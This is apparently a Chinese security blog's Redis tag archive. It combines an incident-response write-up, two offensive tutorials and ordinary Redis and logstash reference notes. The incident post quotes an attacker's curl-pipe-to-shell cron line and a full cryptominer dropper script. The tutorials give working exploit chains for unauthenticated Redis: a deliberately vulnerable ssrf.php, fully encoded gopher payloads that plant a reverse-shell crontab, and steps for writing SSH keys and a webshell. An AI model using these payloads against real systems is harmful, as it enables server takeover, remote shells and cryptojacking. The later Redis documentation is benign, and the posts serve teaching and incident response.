标签归档:redis

【应急响应】帮哥们应急记录20170414

简介


攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程


检查进程发现SSH后门

[root@testserver tmp]# ps aux | grep 2345 | grep -v grep
root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345
[root@testserver tmp]# lsof -p 13587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
su 13587 root cwd DIR 202,2 4096 2 /
su 13587 root rtd DIR 202,2 4096 2 /
su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd

发现异常进程

root 1800 57064 0 00:46 ? 00:00:00 CROND
root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh 
root 1803 1801 0 00:46 ? 00:00:03 sh

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。


发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:

#!/bin/sh
ps -fe|grep conns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi

sleepTime=20

while [ 0 -lt 1 ]
do
ps -fe| grep conns | grep -v grep 
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done
[root@server120 tmp]# file /tmp/conn
/tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

首先下载了一个图片,然后通过dd提取出来挖矿程序。

[root@server120 tmp]# file /tmp/conns
/tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程


1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启

【SSRF】SSRF+Gopher搞定内网未授权Redis

Gopher 协议是 HTTP 协议出现之前。利用gopher协议可以把SSRF的威力发挥到极致。例如可以通过Gopher协议攻击redis、fastcgi、memcache等等。
需要注意的是有些版本的curl、libcurl是不支持gopher协议
查看下CentOS6.5的curl和libcurl的版本

[root@server120 php-fpm.d]# rpm -qa | grep curl
libcurl-7.19.7-52.el6.x86_64
libcurl-devel-7.19.7-52.el6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
curl-7.19.7-52.el6.x86_64

查看下curl支持的协议

[root@server120 html]# curl -V
curl 7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp 
Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz

可以看到支持的协议为Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
或者使用

[root@sso72 admin]# curl-config --protocols
HTTP
HTTPS
FTP
FTPS
FILE
TELNET
LDAP
DICT
TFTP

同样可以通过phpinfo看到

123

ssrf.php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

通过sftp协议和dict协议,可以获取SSH和libcurl的版本。
可以使用netcat在公网起个监听,然后

curl -vv http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:2333

然后可以看到banner信息

[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
CLIENT libcurl 7.19.7

QUIT

libcurl的版本为7.19.7

curl -vv http://127.0.0.1/ssrf.php?url=sftp://127.0.0.1:2333
[root@localhost netcat-0.7.1]# ./src/netcat -l -p 2333
SSH-2.0-libssh2_1.4.2

可以看到SSH的版本为SSH-2.0-libssh2_1.4.2

升级curl libcurl到7.51,升级步骤如下:

yum install epel-release -y
rpm -Uvh http://www.city-fan.org/ftp/contrib/yum-repo/rhel6/x86_64/city-fan.org-release-1-13.rhel6.noarch.rpm
yum install libcurl

查看升级后的版本:

[root@server120 yum.repos.d]# rpm -qa | grep curl
libcurl-7.51.0-3.0.cf.rhel6.x86_64
curl-7.51.0-3.0.cf.rhel6.x86_64
python-pycurl-7.19.0-8.el6.x86_64
libcurl-devel-7.51.0-3.0.cf.rhel6.x86_64

123

可以看到是支持gopher协议了,然后来测试一下:

curl -v 127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test
[root@server120 netcat-0.7.1]# ./src/netcat -l -p 2333
test

可以看到收到了test

然后测试写入本地未授权的redis服务器的定时任务

使用nc获取一下接受到的数据,使用nc监听本地6379端口,因为要输入多条命令所以这里使用-L
-L              监听直到NetCat被结束(可断开重连)
F:\tools\工具\nc>nc.exe -L -p 6379 > C:\redis.txt
然后输入redis未授权写入crontab的命令

redis-cli -h 192.168.190.201 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n"|redis-cli -h 192.168.190.201 -x set 1
redis-cli -h 192.168.190.201 config set dir /var/spool/cron/
redis-cli -h 192.168.190.201 config set dbfilename root
redis-cli -h 192.168.190.201 save

然后看一下redis.txt中写入的部分内容
123

然后使用python urlencode一下

[root@server120 tmp]# cat gopher.py 
from urllib import quote
print quote(open('/tmp/redis2.txt').read())

[root@server120 tmp]# python gopher.py 
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后我们用curl提交一下

[root@server120 html]# curl gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
+OK
+OK
+OK
+OK
+OK

然后看一下redis,成功写入

[root@server120 tmp]# redis-cli 
127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.190.200/2333 0>&1\n\n\n"

然后看下定时任务,成功写入定时任务
123

这是使用curl提交gopher请求,然后通过ssrf来提交一下gopher请求,这里需要再次urlencode

>>> from urllib import quote
>>> print quote('gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/192.168.190.200/2333%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A')
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

然后提交一下

curl 'http://127.0.0.1/ssrf.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252462%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520/dev/tcp/192.168.190.200/2333%25200%253E%25261%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A'

可以成功写入定时任务。

另外针对PHP-FPM 9000端口监听本地的情况同样可以,不过前提是需要知道一个php文件的路径。

参考文章:
http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/

Redis未授权访问利用

漏洞利用:
redis的利用主要是通过config动态修改配置,修改快照存储的文件名称和位置,来写入SSH key 、webshell、crontab。
1)如果ssh端口开放,可直接把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "生成的公钥"
save
exit

2)如果ssh端口未开放,可以写到crontab 里执行反弹。
利用方式如下:

echo -e "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n"|/usr/local/bin/redis-cli -h 192.168.192.120 -x set 1
/usr/local/bin/redis-cli -h 192.168.192.120 config set dir /var/spool/cron/
/usr/local/bin/redis-cli -h 192.168.192.120 config set dbfilename root
/usr/local/bin/redis-cli -h 192.168.192.120 save

PS:
偶然发现当反弹IP写为8.8.8.8的时候,redis内容正常

127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/8.8.8.8/2333 0>&1\n\n\n"

但是save持久化后,定时任务写入的是乱码,如下:

123

有些IP不行 还有10.10.10.10等写入的时候不正常。

3)针对Web服务如果知道web路径(例如phpinfo)可以直接写shell。

[root@vincent src]# ./redis-cli -h 172.16.100.151
172.16.100.151:6379> config set dir /var/www/html/
OK
172.16.100.151:6379> config set dbfilename redis.php
OK
172.16.100.151:6379> set webshell "<?php phpinfo(); ?>"
OK
172.16.100.151:6379> save
OK

漏洞修补:
1)禁止以Root权限启动redis
2)redis设置认证密码
3)SSH限制外网访问

nmap脚本:
nmap -p 6379  –script redis-info 127.0.0.1

Redis List常用操作

列表:一个从左到右的队列,个人理解更类似于一个栈,常规模式下,先进列表的元素,后出。
表头元素:列表最左端第一个元素。
表尾元素:列表最右端的最后一个元素。不包含任何元素的列表成为空列表。

LPUSH key value [value …]
在指定Key所关联的List Value的头部插入参数中给出的所有Values。如果该Key不存在,该命令将在插入之前创建一个与该Key关联的空链表,之后再将数据从链表的头部插入。

127.0.0.1:6379> LPUSH mykey a b c d e f
(integer) 6

返回插入后链表中元素的数量。

LPUSHX key value
仅有当参数中指定的Key存在时,该命令才会在其所关联的List Value的头部插入参数中给出的Value,否则将不会有任何操作发生。

127.0.0.1:6379> LPUSHX mykey2 x 
(integer) 0
127.0.0.1:6379> keys *
1) "mykey"

返回插入后链表中元素的数量。

LRANGE key start stop
0表示链表头部(leftmost)的第一个元素。其中start的值也可以为负值,-1将表示链表中的最后一个元素,即尾部元素,-2表示倒数第二个并以此类推。该命令在获取元素时,start和end位置上的元素也会被取出。如果start的值大于链表中元素的数量,空链表将会被返回。如果end的值大于元素的数量,该命令则获取从start(包括start)开始,链表中剩余的所有元素。
取出前三个元素

127.0.0.1:6379> LRANGE mykey 0 2
1) "f"
2) "e"
3) "d"
取出所有元素
127.0.0.1:6379> LRANGE mykey 0 -1
1) "f"
2) "e"
3) "d"
4) "c"
5) "b"
6) "a"

LPOP key
返回并弹出指定Key关联的链表中的第一个元素,即头部元素。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "f"
2) "e"
3) "d"
4) "c"
5) "b"
6) "a"
127.0.0.1:6379> LPOP mykey
"f"
127.0.0.1:6379> LRANGE mykey 0 -1
1) "e"
2) "d"
3) "c"
4) "b"
5) "a"

LLEN key
返回指定Key关联的链表中元素的数量

127.0.0.1:6379> LLEN mykey
(integer) 5

LREM key count value
在指定Key关联的链表中,删除前count个值等于value的元素。如果count大于0,从头向尾遍历并删除,如果count小于0,则从尾向头遍历并删除。如果count等于0,则删除链表中所有等于value的元素。返回被删除的元素数量。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "a"
2) "e"
3) "d"
4) "c"
5) "b"
6) "a"
127.0.0.1:6379> LREM mykey 2 a
(integer) 2
127.0.0.1:6379> LRANGE mykey 0 -1
1) "e"
2) "d"
3) "c"
4) "b"

LINDEX key index
该命令将返回链表中指定位置(index)的元素。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "e"
2) "d"
3) "c"
4) "b"
127.0.0.1:6379> LINDEX mykey 0
"e"

LSET key index value

127.0.0.1:6379> LINDEX mykey 0
"xxoo"
127.0.0.1:6379> lset mykey 0 vinc
OK
127.0.0.1:6379> LINDEX mykey 0
"vinc"

LTRIM key start stop
该命令将仅保留指定范围内的元素。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "vinc"
2) "d"
3) "c"
4) "b"
127.0.0.1:6379> LTRIM mykey 0 2
OK
127.0.0.1:6379> LRANGE mykey 0 -1
1) "vinc"
2) "d"
3) "c"

LINSERT key BEFORE|AFTER pivot value
该命令的功能是在pivot元素的前面或后面插入参数中的元素value。如果Key不存在,该命令将不执行任何操作。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "vinc"
2) "d"
3) "c"
127.0.0.1:6379> LINSERT mykey before d 666
(integer) 4
127.0.0.1:6379> LRANGE mykey 0 -1
1) "vinc"
2) "666"
3) "d"
4) "c"

RPUSH key value [value …]
在指定Key所关联的List Value的尾部插入参数中给出的所有Values。如果该Key不存在,该命令将在插入之前创建一个与该Key关联的空链表,之后再将数据从链表的尾部插入。

RPUSHX key value
仅有当参数中指定的Key存在时,该命令才会在其所关联的List Value的尾部插入参数中给出的Value,否则将不会有任何操作发生。

RPOP key
返回并弹出指定Key关联的链表中的最后一个元素,即尾部元素。

RPOPLPUSH source destination
原子性的从与source键关联的链表尾部弹出一个元素,同时再将弹出的元素插入到与destination键关联的链表的头部。

127.0.0.1:6379> LRANGE mykey 0 -1
1) "c"
2) "vinc"
3) "666"
4) "d"
127.0.0.1:6379> RPOPLPUSH mykey mykey2
"d"
127.0.0.1:6379> LRANGE mykey2 0 -1
1) "d"
127.0.0.1:6379> LRANGE mykey 0 -1
1) "c"
2) "vinc"
3) "666"

Redis String常用操作

keys *
查看所有的key

flushdb
清空当前db

randomkey
返回数据库中的任意键

type
查看键的类型
127.0.0.1:6379> type vinc
string

set
语法:set key value
解释:把值value赋给key,如果key不存在,新增;否则,更新

setnx
语法:setnx key value
解释:只insert不update,即,仅仅key不存在时,则设置key的值为value,并返回1,否则返回0  。setnx 是set if not exists 的缩写

setex
语法: setex key seconds value
解释:设置key的过期时间和值。过期时间seconds单位是秒。设置过期时间和值是原子操作,如果redis仅仅当做缓存,这个很命令很有用。
127.0.0.1:6379> setex test 60 xxx
OK
127.0.0.1:6379> keys *
1) "test"
127.0.0.1:6379> get test
"xxx"
127.0.0.1:6379> ttl test
(integer) 53
可以看到剩余过期时间为53S

mset
语法:mset key value [key value …]
解释:同时设置多个key-value

get
语法:get key
解释:获取key所set的值

mget
语法: get key [key]
解释:批量获取key的值。程序一次获取多个值,可以减少网络连接损耗。

getset
语法:getset key value
解释:设置key的值,并返回key的旧值。
127.0.0.1:6379> get vinc
"hehe"
127.0.0.1:6379> getset vinc 666
"hehe"
127.0.0.1:6379> get vinc
"666"

append
语法:append key value
解释:key存在,在旧值的后面追加value;key不存在,直接set
127.0.0.1:6379> get vinc
"666"
127.0.0.1:6379> APPEND vinc hehe
(integer) 7
127.0.0.1:6379> get vinc
"666hehe"

setrange
语法:setrange key offset value
解释:用value重写key值的一部分,偏移量由offset指定
127.0.0.1:6379> get vinc
"666hehe"
127.0.0.1:6379> SETRANGE vinc 0 888
(integer) 7
127.0.0.1:6379> get vinc
"888hehe"

incr
语法:incr key
解释:key中如果存储的是数字,则可以通过incr递增key的值,返回递增后的值。如果key不能存在,视为初始值为0
127.0.0.1:6379> get int
"0"
127.0.0.1:6379> INCR int
(integer) 1

incrby
语法:incrby key increment
解释:用指定的步长增加key存储的数字。如果步长increment是负数,则减
127.0.0.1:6379> get int
"1"
127.0.0.1:6379> INCRBY int 5
(integer) 6

decr
语法:decr key
解释:递减key保存的数字,如果key不存在,初始值视为0
127.0.0.1:6379> get int
"6"
127.0.0.1:6379> DECR int 
(integer) 5

decrby
语法:decrby key decrement
解释:用指定的步长递减key的值,如果步长decrment是负值,则递增
127.0.0.1:6379> get int
"5"
127.0.0.1:6379> decrby int 4
(integer) 1

strlen
语法:strlen key
解释:获取key中所存储值的长度
127.0.0.1:6379> STRLEN vinc
(integer) 7
127.0.0.1:6379> get vinc
"888hehe"

exists
语法:exists key
解释:判断该键是否存在
127.0.0.1:6379> EXISTS vinc
(integer) 1
127.0.0.1:6379> EXISTS vincxx
(integer) 0

expire 
语法:expire key secend
解释:设置该键的超时时间
127.0.0.1:6379> EXPIRE vinc 30
(integer) 1

ttl
语法:ttl key
解释:查看该键的过期时间
127.0.0.1:6379> ttl vinc
(integer) -1
如果该键不会过期则返回-1
127.0.0.1:6379> ttl xxx
(integer) -2
如果键值不存在则返回-2
127.0.0.1:6379> EXPIRE vinc 30
(integer) 1
127.0.0.1:6379> ttl vinc
(integer) 18
可以看到还能生存18S

persist
语法:persist key
解释:将存在超时的键改为持久化的键
127.0.0.1:6379> ttl vinc 
(integer) 55
127.0.0.1:6379> PERSIST vinc
(integer) 1
127.0.0.1:6379> ttl vinc 
(integer) -1

del
语法:del key [key]
解释:删除指定的key,返回删除key的个数
 

Redis数据类型

Redis 数据类型
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。
  1、String
  常用命令:
  set,get,decr,incr,mget 等。
  应用场景:
  String是最常用的一种数据类型,普通的key/value存储都可以归为此类,这里就不所做解释了。

  2、Hash
  常用命令:
  hget,hset,hgetall 等。
  应用场景:
  我们简单举个实例来描述下Hash的应用场景,比如我们要存储一个用户信息对象数据,包含以下信息:
  用户ID为查找的key,存储的value用户对象包含姓名,年龄,生日等信息,如果用普通的key/value结构来存储,主要有以下2种存储方式:
  第一种方式将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储,这种方式的缺点是,增加了序列化/反序列化的开销,并且在需要修改其中一项信息时,需要把整个对象取回,并且修改操作需要对并发进行保护,引入CAS等复杂问题。
123
  第二种方法是这个用户信息对象有多少成员就存成多少个key-value对儿,用用户ID+对应属性的名称作为唯一标识来取得对应属性的值,虽然省去了序列化开销和并发问题,但是用户ID为重复存储,如果存在大量这样的数据,内存浪费还是非常可观的。

123
  那么Redis提供的Hash很好的解决了这个问题,Redis的Hash实际是内部存储的Value为一个HashMap,并提供了直接存取这个Map成员的接口
   也就是说,Key仍然是用户ID, value是一个Map,这个Map的key是成员的属性名,value是属性值,这样对数据的修改和存取都可以直接通过其内部Map的 Key(Redis里称内部Map的key为field), 也就是通过 key(用户ID) + field(属性标签) 就可以操作对应属性数据了,既不需要重复存储数据,也不会带来序列化和并发修改控制的问题。很好的解决了问题。
  3、List
  常用命令:
  lpush,rpush,lpop,rpop,lrange等。
  应用场景:
  Redis list的应用场景非常多,也是Redis最重要的数据结构之一,比如twitter的关注列表,粉丝列表等都可以用Redis的list结构来实现,比较好理解,这里不再重复。
  4、Set
  常用命令:
  sadd,spop,smembers,sunion 等。
  应用场景:
   Redis set对外提供的功能与list类似是一个列表的功能,特殊之处在于set是可以自动排重的,当你需要存储一个列表数据,又不希望出现重复数据时,set 是一个很好的选择,并且set提供了判断某个成员是否在一个set集合内的重要接口,这个也是list所不能提供的。
  5、Sorted set
  常用命令:
  zadd,zrange,zrem,zcard等
  使用场景:
   Redis sorted set的使用场景与set类似,区别是set不是自动有序的,而sorted set可以通过用户额外提供一个优先级(score)的参数来为成员排序,并且是插入有序的,即自动排序。当你需要一个有序的并且不重复的集合列表,那么 可以选择sorted set数据结构,比如twitter 的public timeline可以以发表时间作为score来存储,这样获取时就是自动按时间排好序的。

Redis持久化方式

目前Redis持久化的方式有两种: RDB 和 AOF
1)RDB
RDB就是Snapshot快照存储,是默认的持久化方式。
可理解为半持久化模式,即按照一定的策略周期性的将数据保存到磁盘。
对应产生的数据文件为dump.rdb,通过配置文件中的save参数来定义快照的周期。
下面是默认的快照设置:
save 900 1    #当有一条Keys数据被改变时,900秒刷新到Disk一次
save 300 10   #当有10条Keys数据被改变时,300秒刷新到Disk一次
save 60 10000 #当有10000条Keys数据被改变时,60秒刷新到Disk一次
可以很明显的看到,RDB有它的不足,就是一旦数据库出现问题,那么我们的RDB文件中保存的数据并不是全新的。
从上次RDB文件生成到Redis停机这段时间的数据全部丢掉了。

2)AOF
由于在使用AOF持久化方式时,Redis会将每一个收到的写命令都通过Write函数追加到文件中,类似于MySQL的binlog。
当Redis重启是会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容。
对应的设置参数为:
$ vim /opt/redis/etc/redis_6379.conf
appendonly yes       #启用AOF持久化方式
appendfilename appendonly.aof #AOF文件的名称,默认为appendonly.aof
# appendfsync always #每次收到写命令就立即强制写入磁盘,是最有保证的完全的持久化,但速度也是最慢的,一般不推荐使用。
appendfsync everysec #每秒钟强制写入磁盘一次,在性能和持久化方面做了很好的折中,是受推荐的方式。
# appendfsync no     #完全依赖OS的写入,一般为30秒左右一次,性能最好但是持久化最没有保证,不被推荐。
AOF的完全持久化方式同时也带来了另一个问题,持久化文件会变得越来越大。
比如我们调用INCR test命令100次,文件中就必须保存全部的100条命令,但其实99条都是多余的。
因为要恢复数据库的状态其实文件中保存一条SET test 100就够了。
为了压缩AOF的持久化文件,Redis提供了bgrewriteaof命令。
收到此命令后Redis将使用与快照类似的方式将内存中的数据以命令的方式保存到临时文件中,最后替换原来的文件,以此来实现控制AOF文件的增长。
由于是模拟快照的过程,因此在重写AOF文件时并没有读取旧的AOF文件,而是将整个内存中的数据库内容用命令的方式重写了一个新的AOF文件。
对应的设置参数为:
$ vim /opt/redis/etc/redis_6379.conf
no-appendfsync-on-rewrite yes   #在日志重写时,不进行命令追加操作,而只是将其放在缓冲区里,避免与命令的追加造成DISK IO上的冲突。
auto-aof-rewrite-percentage 100 #当前AOF文件大小是上次日志重写得到AOF文件大小的二倍时,自动启动新的日志重写过程。
auto-aof-rewrite-min-size 64mb  #当前AOF文件启动新的日志重写过程的最小值,避免刚刚启动Reids时由于文件尺寸较小导致频繁的重写。

在数据恢复方面:
RDB的启动时间会更短,原因有两个:
一是RDB文件中每一条数据只有一条记录,不会像AOF日志那样可能有一条数据的多次操作记录。所以每条数据只需要写一次就行了。
另一个原因是RDB文件的存储格式和Redis数据在内存中的编码格式是一致的,不需要再进行数据编码工作,所以在CPU消耗上要远小于AOF日志的加载。

logstash使用redis做消息队列

logstash agent conf文件配置:

input {
 file {
     path => "/tmp/www.log"
     type => "linux-syslog"
  }
}

output {
   redis {
        host => "192.168.192.120"
        data_type => "list"
        key => "logstash"
   }
}

logstash index conf文件配置(输出到elasticsearch):

input {
   redis {
        host => "127.0.0.1"
        type => "linux-syslog"
        data_type => "list"
        key => "logstash"
   }
}

output {
  if "_grokparsefailure" not in [tags] {
  elasticsearch {
        hosts => "127.0.0.1:9200"
        index => "logstash-test"
  }
  }
}

来看下Redis中的内容
127.0.0.1:6379> info keyspace
# Keyspace
db0:keys=1,expires=0,avg_ttl=0
127.0.0.1:6379> keys *
1) “logstash”
查看队列中的日志数量
127.0.0.1:6379> llen logstash
取出前两条信息
127.0.0.1:6379> LRANGE logstash 0 1
1) “{\”message\”:\”Nov  8 14:22:25 server120 sshd[16024]: pam_unix(sshd:session): session closed for user root\”,\”@version\”:\”1\”,\”@timestamp\”:\”2016-11-11T06:25:49.352Z\”,\”path\”:\”/var/log/secure\”,\”host\”:\”0.0.0.0\”,\”type\”:\”test\”}”
2) “{\”message\”:\”Nov 10 11:10:46 server120 sshd[13192]: Accepted password for root from 192.168.190.201 port 52042 ssh2\”,\”@version\”:\”1\”,\”@timestamp\”:\”2016-11-11T06:25:49.507Z\”,\”path\”:\”/var/log/secure\”,\”host\”:\”0.0.0.0\”,\”type\”:\”test\”}”
(integer) 6